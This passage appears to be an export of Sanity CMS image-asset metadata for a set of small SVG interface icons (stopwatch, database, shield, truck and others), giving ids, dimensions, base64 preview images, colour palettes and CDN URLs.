QrOWcFzFRxUwbxpwvqC2SpYIuJLI9aL+FDEPCPaIl6IOKdsJOxWEPro7RXxr8+rEZ+pg15/uo1P17JHBTNVNdsyrxkxlZg9sTC8KVH8mv4KERey+Gejo4zNMyMG37PdGhl/kL6zGXshVppzdLeNXQ9AX9bkl9TWJSO+MWJVitt1NyRiZ/peZuyoCvpilwah3+zSGY+Oz/c6pa6ei3iUz/o+7Wf/ZtXnMT7D86OxVX5Z9K5M2rnKClaLGDPiioj7Se52T/VbESPG9+I0WSV8P2L135swHjX1DbTKiC1G7HITsUUMofdHk7pKeD8EeAeIt5Gd2MPTMAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4d45","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#851c04","foreground":"#fff","population":1.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5d07","foreground":"#fff","population":2.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#883510","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e76d36","foreground":"#fff","population":1.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46c4c","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec5d07","foreground":"#fff","population":2.78,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-clock-stopwatch.svg","path":"images/sczeoy4w/production/29107c2858e1703d824dae21515eaa4bfa75a216-24x24.svg","sha1hash":"29107c2858e1703d824dae21515eaa4bfa75a216","size":306,"uploadId":"kSaPcxhKu8qpQV2aeiqZqZGREWojU9uk","url":"https://cdn.sanity.io/images/sczeoy4w/production/29107c2858e1703d824dae21515eaa4bfa75a216-24x24.svg"} {"_createdAt":"2022-09-07T11:39:44Z","_id":"image-153e71062bf77d01b33f0faef08cdd21d706c3a4-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtD0D","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:44Z","assetId":"153e71062bf77d01b33f0faef08cdd21d706c3a4","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiklEQVQ4jY1VzUqVURRdpRiKKUZBSNGskQ0y6gESJChokoPiXgjXvvkLOci5QUGgTaKJNPEVcmBhP4oOmvUSvsdZsffZ3+1qIg02Z59z9lrfPvvvgwzQPCDDORHnRfQVok+GPjWrHd+XRp8NcYxjoecAQjGMipgUMSPihYhFGRZ9Lb42whN6tZ2RYVIdjGquEl4UMS3ig4ivIvZFHMhwKOIw1kZ6925Tbb8E1jAtw7AT3hLxXsS3JF0RsVQMS77Kqh7Cv2exVlvH7IrYEDHhhI8KsS1iU8QdEYMyXJBhQMRArCnl+NmFsGVgNgvx2bmc8Fkhfoh4J+KaiP40DnCQnCYMm34Zrif2u4inKESrEL9E7IhYFbEgw3L3aT1Pbvb55OVM0KossM7Rcg9bIn6LOPLD0puQqtd9FU/EQal3dW9BdJQcLS+Zdhz6VwyvZFiIpFQPV/LsZYrrK93kEAuFcbaTHG33sJ3pfytiPIM+JMNVGaYK8VjETZfQDVN5N5QxHk+sc3QJ90SsiVHgtdAND2T4KGJdxO2U9Tird2FbKmYtOdoo9cn7MrwWcSmzel+GrWL4mYm6kbIaZ4attBlwTGArR9u/0C7VXScc82qXgT1xfZghGEo94lUMLNV2LLH/PDk8zBiGhzrFQ5300ALj2D13rilsL8o3msVldSKGI/8Rw5GM95XANoXt7aLaep9E3BXjGYPljCzHXW27YRH3Erst89YzTMiisXeb4VB8bJ1Rh1mDi8eGg2HDuaBOeOSjxy98FHk8vSPO7JRSdY9bd3yVjo+vuW7dTcpiwHaiW3oH60mpg9a7pCPiSfH4ekznfcDOBmH8Akr+ArrSO/5P+RWkXfwCinPMAn8AG+m6fYPZ+2IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c2c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2205","foreground":"#fff","population":1.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6205","foreground":"#fff","population":10.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79361f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d06c4a","foreground":"#fff","population":0.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#946c64","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6205","foreground":"#fff","population":10.76,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-code-browser.svg","path":"images/sczeoy4w/production/153e71062bf77d01b33f0faef08cdd21d706c3a4-24x24.svg","sha1hash":"153e71062bf77d01b33f0faef08cdd21d706c3a4","size":533,"uploadId":"NaSpnKKAO2WnCFjvCcMO4EZ6Yyt5YO0v","url":"https://cdn.sanity.io/images/sczeoy4w/production/153e71062bf77d01b33f0faef08cdd21d706c3a4-24x24.svg"} {"_createdAt":"2022-09-07T11:39:45Z","_id":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtD4r","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:45Z","assetId":"ae904dc4f35e259578ede3723110880b94da9928","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC9ElEQVQ4jW1Vz2uVVxA99nu1UahtKYGqJBul4koXLYVCcZFNk03AjUIWSd6ZZ4wibioUBduNiNmky7hpV3VTxPgLSUIUjKVLaelK/VvmyMyd99TaxYH73Zkzd76ZuedCC4BYGKCTYZ+IQyK+FTEj4qSI0wFv65myHUrfAToNAB8A6qMCGXoi9ouYEnFBxIqI30TcFvFQxGbhYe2FbUWGCzJMuWG/DJ2PAhKTIkzErSA6cUfEryJ+EXFDxLXCjdoLW/hsyvC7G0yGiYgVwT4QMe3EXRHbIn5yYlbE1yIOizggYrxwoPbCNlu+2zKsy/B9xIqAnQiK+EfEYyeWRHyVWffxqYgxLaHzpfQbq73J8jnrxBNv3IjRRcCo31kRL2R4KcN9J9ZEXBVxXsSiDHMBjzVx3pttzYn7Il4WN2L0WkMMyzL8LcOGDDerlvdEPBKxVaUIbDnxqMpzqw7eEJO73AISnRPnRPzphssyHHfihIi5yuaSE1fUcEmWWYctfI6LuBxcWcbo4FHD9rFTmY5pEbvUx14RH4tZs88Kn8hyb6/62CXio+C4YUeRlEUNLYsdH3/VaeM6nLOZI+XDoR8i9pcAfZnf48lp3HNvNyVO+VfEg5rH70QcFXFQhs81yBuxz2Mde8RRbz6WnMYd1bB12fBCxKtqQjRlNboZNZThYqDqGR1eLZ+t5DTuqMudtw49l+W1uh4jIeKPON0b6Umg1g/KFj7XvXGeV4Zv1ZB45oYfZHkTjok5+adEzIsYFOZrL2zH0teS8ywbm00ZdtnwNDO17Fwox4ciduftIPYUYr07beHTfCOzpzV6owyjuNH6n0VMaAG9HIvqdMhSorrsYVtAz8O3cXYqRgZMcShZiqv0Y138b0QcSRUxfFGIAEe82Wa9+QYnuNPqN3EIhONQvqLw6+/Il+Fa4l35Cp/hRAR3QoshX+1X4j6HSE6laDbiSGC9aeR/BTYOSoEtbu9NwOXCmfeegCjF6AmodWhnPgH+P0/Aa+1RszmahFWQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#745a3f","foreground":"#fff","population":1.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#881a04","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb5e05","foreground":"#fff","population":9.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#963802","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcaa7c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6674f","foreground":"#fff","population":1.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb5e05","foreground":"#fff","population":9.03,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-database.svg","path":"images/sczeoy4w/production/ae904dc4f35e259578ede3723110880b94da9928-24x24.svg","sha1hash":"ae904dc4f35e259578ede3723110880b94da9928","size":321,"uploadId":"sjNqdfjAbbuC0a1uFzzi1cAzMaBUZphR","url":"https://cdn.sanity.io/images/sczeoy4w/production/ae904dc4f35e259578ede3723110880b94da9928-24x24.svg"} {"_createdAt":"2022-09-07T11:39:47Z","_id":"image-2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GKFy","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:47Z","assetId":"2f0ec2a798fc88e9dba0d032d62808bf5b885e3c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADAUlEQVQ4jW2UyYudRRTFf21MNDgQNYNREbPQiLHNQkEQN4IbRzQDokmj/U69l7YNARcq6MIBAq7EoOhKA8aBGMExEsExURAFszBuFDfu3Pgn1An3Vr33uk0KLvW6v/rOd+qcey4AHkAVWFDnmfGA9RZ3WDxiMefCXI1d7LDY6gGr42zWgOXLc+2f+bDkfpHF/RbvWPxg8X2vXyy+tdjrAev6WeoZgLuWAD7KTBU3WLxSG8hbFi9ZvGrxo8Upi6cs1naGMxMio4aF903Z1cZuVxVfWLxmcUsVl1rcbnHQ4lOL+zxg1QSoQI2aTUKd3bCxc2N3wOJoALtwgQvnWtxj8bHF6xZbPGCFCyusrHMSeL7rmV96LP9Idh3sQI0X9+RHNlo8Z3HS4kOLYrHdhR0ubHPhThc2ecRKbx8DhrMBMGW3u4qLu7bXWLxs8UdqWDhRxXcWxy1+deErF4YurPWDAbhn4mxo93kYYnF93TtpizUWd1s8Y/GiCy9Y7Ld43+Jviz8tnnZhQ10MwGb/tbUB/dxdvc2FGy1mA9ziaot1bgbFfmtn/VM3K3r2/JAuGMR1b+4P/rI4YXHEhcMWH1m8mc6KC705P76piier+NLibYu7PJYnTQlDGoNRP3DE4nAtfNL77neLfbWlJ8Esjlm82wOwJlvn8XZbvDuRV1r5wmaLm1yYdUndDnUDHo5nVTxRm2nvVfGAxSXpwWgajnHLNAPGtS330OlgFYcsdlax6GbaBz3Tl0X/1nbDRmy+ZzkGQx8OEb3I5+o+GI51bfdX8Vnvw4cyeqF9BGIw6ZR25czzwrL4xe/LLZ7tzRwmfRPa1tb46z1kJpMRHRLD5fklYAl473QUdZO2dmb/WvxjpUExvjYksz5p4mwdNRLL1ngW9lrVsxtJ+M/i6yrmXdiYzBb6+WkPc8ZaOjmyDcSCxW99DsriyhwCcb3QOFyNGp4FbDyxU9imYaQhrvdGFUOLqxJsrNl4Op2N2TLAxckL51lcV1vbXJFgHSDmXZ5dasD/1mkKM1PHuy2PdQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#41341c","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#651205","foreground":"#fff","population":5.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#651205","foreground":"#fff","population":5.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#683e30","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b87964","foreground":"#fff","population":1.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#72644a","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2641c","foreground":"#fff","population":4.86,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-lightning.svg","path":"images/sczeoy4w/production/2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24.svg","sha1hash":"2f0ec2a798fc88e9dba0d032d62808bf5b885e3c","size":450,"uploadId":"KugsfDZRnCRKIcdPwz45gZM2MjtyUqED","url":"https://cdn.sanity.io/images/sczeoy4w/production/2f0ec2a798fc88e9dba0d032d62808bf5b885e3c-24x24.svg"} {"_createdAt":"2022-09-07T11:39:45Z","_id":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GJpG","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:45Z","assetId":"b75b64e036bf3f1eda9c1349e49abef43314cfd1","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6klEQVQ4jXVUzWvVVxA9L1q/aNDYKFKqUIVa6kYtWMGIdmG7iKIQv9pHSvLO5GlbaFctgohf6EoRtboq6N9Q6yfG6EL8r+aUmTsvSU27GO597849v3PmnhloBtAEoD46MoyI+FLEMRFdN0yKmNT7K9GNHI/cuHMGHX0HBBacgAwQsUHEhIj7Ih6LmHXDnBOvNQjLNf6brZz7Mky4YTSJGQD1crNCxNciHop4JuIPEZdluCTi0pI1zlrOMxEPRBwUsUL9ALRkOSziRxEvK3mHE+urBCO5Lt7HGbGjcl/W3WFNB2BIJtY5cb6kfK9eyv9CxJgb9osVbT9WZxtk6Nad84ERapvk+HKT8sqJkyJ2i7juxBMZXoh4nmF47q1215zY5Za5r+ruSANkSg7Ay07MiTghYruIn0TclmWt7ma0/R0RP4v4vHLnSnpg1Au3GsUjxOHxOPQma58sZY95yCf2hlwnNopYnbmGubobGPM1TIYFuJjhnWDlVgyJC/mRHpbrbN47Xrb6D4b/Btwp4qqIv2RZx6dlkT9FHFYPqzWDTvrWMCvDxcJYCuhN8mh1zLcivimPHhCxR8TH6mFIho4bDshwS4YpGYb/T3IAfiJiXMRMMgqQbuVOz5OI2CTDXhm2V3MsfRRvkoPdDTEtczNLMIVOWayBtpZdKcNWGXaJ2NQAFzNcsM3mYtYXcSQZLoC0dQbLZPhMhl/Dl2X+ofeN3SRP4wMxY42IlSKWiVglYouIbdF63mT+7u3B7lV9OwPAddU+rfWmsdwHTBZYjdboitfv18s+leGhDIdliTHfKUuGg4iPMiwHQSRvdgOdeCTinYi3bnggw7gb1qYvB+PL44UMBxUJzW8h4UqBx3pOxFG1TvlNxN/pScN4MPMAuzgADEn9/BHTI4x6z9uFMGzU9I2IR078UjX8VMQhEV8l8xisUzUGc2LHH6eBHOPNPrtlyaYbI9+JH0ScyqL38GHVfCgeoIZzjv6IAPwHl9ab79dNasMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c4c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#802404","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86506","foreground":"#fff","population":5.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964402","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8424","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e6c51","foreground":"#fff","population":1.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86506","foreground":"#fff","population":5.38,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-file-check.svg","path":"images/sczeoy4w/production/b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24.svg","sha1hash":"b75b64e036bf3f1eda9c1349e49abef43314cfd1","size":448,"uploadId":"ETMRkhUGKOz6AAA4MONWS6oZv8x2xWGc","url":"https://cdn.sanity.io/images/sczeoy4w/production/b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24.svg"} {"_createdAt":"2022-09-07T11:39:49Z","_id":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFkS5","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:49Z","assetId":"c73588011bea5b815efb960f9bb5ed6aa5a46c64","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADIElEQVQ4jVWU3YuWVRTFfzOjo85IOswQmgpCmWREUUJBNRUIERR9jBKBjeO79vtOX1jYRWX2MV2EQUJ000WRUKjknQMVYeTQVXf9R2fFPue8Yz6w4eHsvdbZZ+0PvAIegE93ex28D0ow4WCnxWGLY90O17P07QMvd2zasGHxm53oEnjEpIMZiwMWiw5GFhctrnW72M8WM6ZkbGLOgxfBbydh9KzEtiIOWZyw+MLissUfFusWP3Zb72eXe8wJB4dKsK3yaEwopiyOWHxkcb2DfrI4b7FkcbSIoxbHLT7pvoy5XhrmSOfYJJwp4mQRv9fbg7B4zOIuD9juFSarie0We4t41IEytjTiZQ+YzXqMCXdbfFjEhoM3HMyVEXgVSgr+LvitLr7Y0m3OYtXi7yI+rhyDJFQlnXPwuYO/HCxlFUtAUbOxLEXst3ja4iGLOyxesbhpsdYv6MGNcM3BRmpWgkmPattMO/+HtfoHavatOKsl5Uh9E9OwydEzbOxr/clL/UmZzeMO7stKOlh1sO7gqoMXHOwurWAbt2d4i/Czmn5w3FHFf8riG0ftvS872S8OXnOw4CFbHbXFbnZsJ2xC77L4wOJPB8t9Qh60+NrBPyX4twTXOtmddUKCHQ5OlcQ07K5WlJwSMWvVNvjNwTkHex3MlqjTcsHBdw5erWRDJhJYWvucqxgxKMlRCVsFt1o8Y3HF4uc6WqfZUscwuNfBAw7mk6wMN+MXe+yVXvmUYFPDvDHnN/vpRhGfWtxdq6tqU2XAhDN+mUkPuCd1K+KGW5b7u3Rdw5O1gactnrT4wW1izlgcLDlS74DP1NgpDzjYfRnzvcUTRUzXbZOEJTXMJn52szgvW1y1+NXibGlzOuMBOyzut3i/NF8+9aWKOdsTq09uAjcth/V/oS+B1Cfn9ILFi92+6mfpy/ZaqPjMru/UsX5Ny3Tm8hTzFs9ZfDveKv/bQnmWvvk6Tcd6p+SiroT9ybdt3izAoPbiIxbvWVxKK+3/YYudXmGiJjLGJM+I9lXHUt8s42xbf+ZC2JPrqq4sscfB1GYSvRB+vj07v/8AQRmCAlfeKm4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e1205","foreground":"#fff","population":1.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7e1205","foreground":"#fff","population":1.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#963002","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fca47c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94845c","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec4c04","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-shield-tick.svg","path":"images/sczeoy4w/production/c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24.svg","sha1hash":"c73588011bea5b815efb960f9bb5ed6aa5a46c64","size":588,"uploadId":"FNSkH9pxU5Nt9W3pA5zWOxCbFcaszPli","url":"https://cdn.sanity.io/images/sczeoy4w/production/c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24.svg"} {"_createdAt":"2022-09-07T11:39:49Z","_id":"image-91b066f311ae67bc68fe3727221eac5e90737130-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtDkf","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:49Z","assetId":"91b066f311ae67bc68fe3727221eac5e90737130","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC9ElEQVQ4jXWUzWueVRDFf0mhVkgRSraKhmjdpGqhKNq4SK2gpFaNJn5V8z7nRmtSrB8rpVbFoKJ2Y6HY4kfcGbuwRkjUZTcu/Y/ukbl3Yt30hcM7d+acmXvvc2eoA3glIfZ4YI+XGfNr4GXwIngtsZi+HhvzKPkCD1BFGittMWkxa/Gow47YW1no9Y7gNd+drfhkcmebHRsbQjRqxoTFvMVli48spn0S6gnwqSbueBU8D366raeTezm0VUxErtjBuMUDFt9YbFexZjFjcY8HJj1qR+uFww5fxDpnrYrt1N7vZcaj0v4qZLFj8WUtHHNhpYrzVRytA3szUWCvxVGL8xYrFsdCk9qhDuyPhPdaXLC4ZnHKhedc+NniB4s5Dy0+l9i1Ixachabp2gseOEhWieC3Fk9k9T+reDfF76fgWtrhey84Fh+68GRqI8ccWWXHhc8dxxVXLH61OGExyuNsJ3bS95RL41xx4TGLLzK+EAmXLP5y4dOs/pPF1SqOV3G2Fq678F2DuG5x1uJxF65abLg0zXrLIZYi4UmL3y2+sjhucdFiy2LR4nmLX1z4uyHs7lt0YcuFiy5N83XtOU5GwkdyVxs1jiLezvtZz0d7xuKfxJn0rbvwRy2NG5qNxMPRIXdYfJJ3sJof5pLFj3kFs7XveKv2zpjL2KXkrqb2Yw/cjgv7XHjW4jeL77Nj2gep4pDFYYvNQB047KH5RsmbzycUL+AZj9jX+1RMWZzLSh9YHPTAAY+4xT3pZt7ffV5uvgPBqZ0bmnMemKrLu72s1gFH2rsS71jc1YZCaYgW26w96SGfTn9wOjc0R1oXFfrI8UttQNxa+07vdjR6YazFMmHiUF1t/R+xieROhTaGSZ82Ua0fG8d0eQG8lOu+k5nsgsCM38yRtgB+EfxyTqHMcWM0BTFm2u76BmJMfZaY9hv/m5E5WNs6tX0Xp/Pou4R+r7u4zeJBi4ea3e8Vv3IjSdPm3d70999u+3/MzPFaoO4Wu4nwX9t1gpHoPpU2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4464","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f0e04","foreground":"#fff","population":4.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ea6514","foreground":"#fff","population":8.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c3c0c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4af84","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07a5d","foreground":"#fff","population":2.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea6514","foreground":"#fff","population":8.51,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-signal.svg","path":"images/sczeoy4w/production/91b066f311ae67bc68fe3727221eac5e90737130-24x24.svg","sha1hash":"91b066f311ae67bc68fe3727221eac5e90737130","size":374,"uploadId":"BdJh2abet9yQRxyfGXpJkSo0TswiE6s1","url":"https://cdn.sanity.io/images/sczeoy4w/production/91b066f311ae67bc68fe3727221eac5e90737130-24x24.svg"} {"_createdAt":"2022-09-07T11:39:50Z","_id":"image-acd4d7ea144a9cfcc6470a23f4699a2afdaf5889-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtDwH","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:50Z","assetId":"acd4d7ea144a9cfcc6470a23f4699a2afdaf5889","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJ0lEQVQ4jWWV3Y+dUxTGf9PWtEhLO50LbnwkGolyqZGIEJGS+Kph4mNmzLzPPjgpUsQFF9JyUYmbCkNIfKYkIkgIUx8d1SAILly44MaduPEn7Ie133VOp5xkn73f/e79rLWe9az1YoEH4EVo6xjlP3OMJfD9J/Zqvv/fzzvby/UWp1ucabHVha0nzf3YXDsmfTf4vgSeS0OxXkrAOmCjxUVVLFg8brHfhQMWB8azeMJir8Xl7jjDt4P3pOcD8BBqGgr0HVU8ZnHE4iuLL104ZnEs5hrPse7n5QCtHac0sPAwgArUO3rawsp1Fh9YvGcxtJhx4VZrPG5xYc7i+Sq+tnjG4hqLCy22eImJxn8HNQHvtDhqcdDiLN8FtTRO17mwLpNyapyrhZ8tfrNYsXjO4gYXtnnIxCh58Tef4exvSRllMcLI2V27sMfiB4sfLd6t4nOLw7W0CKY8YKIOeg7nG2eRgLDWA4486/kJTwszFsddOOTClRb70tO3G01iKgyHF/NJegNs+tqbYCEPjQ3MZMIiku1VnFPFQxafWLxVxc0R4SjkHjD0dg/UjvU1wlzMkE8AxrknLbZ5tnl/nkvz9DOLl6vY1UKupXEYB8+3uLiKay2usrjAYpP7JN02pkZMu2NDFae5sNOFFy2+sJhd6+ELFoOUx8cW71s8ZbHLcbGXTwAesthdxWwAWOy2eDY1vEBurlp8myQH2EsWb7jP5NM1KkTc68JPLhwPziw+zXE4wb6xmAvAyyxetfjD4teQTxWXZMhvWk17IfqVWvjLhb+r+M6lVc2yYy3+TB6vD41NJeEfxuUqHnbH2e4aaHj6e14Kb75vhgsra6ppxeKXlv3CjiiXCXdMV7Fo8ZHFOxaPZJKOpHiD5ytaYsQrSUVU1sEU+HIVl7qwcdR6ohLOtXgw63o1s/ZaVki0tYhmi8VNFq/nmdVc39jaW3SbprNHm6Y2JGgIdF8tDFtFFLZbLQrqQpvj+epsZzFiPd2cioablvtu3NfsphpdRGy2mGyVM0jDw/GZyeZRnmlgD/Tn+pBH7T/WIyNrR+z3TeKkvZGx8afiX8B/APmymWeX+yUyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c443c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1104","foreground":"#fff","population":0.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f76809","foreground":"#fff","population":3.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b3b0d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec7c3c","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0684a","foreground":"#fff","population":1.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f76809","foreground":"#fff","population":3.99,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-truck.svg","path":"images/sczeoy4w/production/acd4d7ea144a9cfcc6470a23f4699a2afdaf5889-24x24.svg","sha1hash":"acd4d7ea144a9cfcc6470a23f4699a2afdaf5889","size":662,"uploadId":"3L5yF9tCPzzZNk2NZ4Cj4nEoDcUa60ou","url":"https://cdn.sanity.io/images/sczeoy4w/production/acd4d7ea144a9cfcc6470a23f4699a2afdaf5889-24x24.svg"} 